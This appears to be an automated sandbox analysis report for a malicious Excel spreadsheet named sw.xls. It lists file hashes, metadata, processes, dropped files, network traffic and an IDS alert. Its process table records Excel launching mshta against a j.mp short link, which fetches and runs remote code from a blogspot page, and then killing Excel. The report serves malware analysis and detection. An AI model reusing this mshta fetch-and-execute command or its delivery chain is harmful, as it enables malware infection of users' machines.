File name: | sw.xls |
Full analysis: | https://app.any.run/tasks/60f5bdac-c2e4-4b8c-be14-188c2b73d0dc |
Verdict: | Malicious activity |
Analysis date: | October 14, 2019, 03:18:35 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 9 16:05:03 2019, Security: 0 |
MD5: | 7356D8F8F02A7B73615D17819DD82198 |
SHA1: | 1B7958C74E901E6BD54073ADEEE1ED3153DB4013 |
SHA256: | 622E80137F98CF6E7BA3FEE8659753EDECC5CB0C31D05A2E88FC0CAD6C703AF9 |
SSDEEP: | 6144:VZ+RwPONXoRjDhIcp0fDlavx+W26nAimChtenbVeCdFjAOHwv:/mCKpxjAOHq |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
Author: | - |
---|---|
LastModifiedBy: | - |
Software: | Microsoft Excel |
CreateDate: | 2006:09:16 00:00:00 |
ModifyDate: | 2019:10:09 15:05:03 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
AppVersion: | 12 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: |
|
HeadingPairs: |
|
CompObjUserTypeLen: | 38 |
CompObjUserType: | Microsoft Office Excel 2003 Worksheet |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2504 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
444 | mshta http:\\j.mp\adjg3sXAsxfsaasdi | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2916 | "C:\Windows\System32\taskkill.exe" /f /im excel.exe | C:\Windows\System32\taskkill.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2504 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRA8EC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2504 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF51BF8CC048A33FD0.TMP | — | |
MD5:— | SHA256:— | |||
2504 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFBBA5440445BFE7AD.TMP | — | |
MD5:— | SHA256:— | |||
444 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\warning[1] | — | |
MD5:— | SHA256:— | |||
444 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\27[1].html | html | |
MD5:13DA199C6B92FCC879DBA737BF1B18D2 | SHA256:B38BD6BDE56F60714A5EB2070E8FF534782D0E13FF5687E872141B9D896E6F59 | |||
444 | mshta.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat | dat | |
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862 | SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A | |||
444 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1] | text | |
MD5:35FE91C2AC1BA0913CC617622B9EB43F | SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837 | |||
444 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\2289495658-widgets[1].js | text | |
MD5:12207EF376C0B11BEECE3033AA074858 | SHA256:54C41E3A6E2D57F9F96047F3C3799F3EE126051031BBCDBE698198C92EF94522 | |||
444 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\error[2] | text | |
MD5:35FE91C2AC1BA0913CC617622B9EB43F | SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837 | |||
444 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\210157244-ieretrofit[1].js | html | |
MD5:83A14CE8A07941331DFB5A615AF96CA9 | SHA256:C17B6213AB3A96180261DEC659C93EC2D6D3691A7FFE1AE09173C1BA124CC6C4 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
444 | mshta.exe | GET | 301 | 67.199.248.16:80 | http://j.mp/adjg3sXAsxfsaasdi | US | html | 134 b | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
444 | mshta.exe | 172.217.23.97:443 | asdiamecwecw8cew.blogspot.com | Google Inc. | US | whitelisted |
444 | mshta.exe | 172.217.22.73:443 | www.blogger.com | Google Inc. | US | whitelisted |
444 | mshta.exe | 67.199.248.16:80 | j.mp | Bitly Inc | US | shared |
Domain | IP | Reputation |
---|---|---|
j.mp |
| shared |
asdiamecwecw8cew.blogspot.com |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
444 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |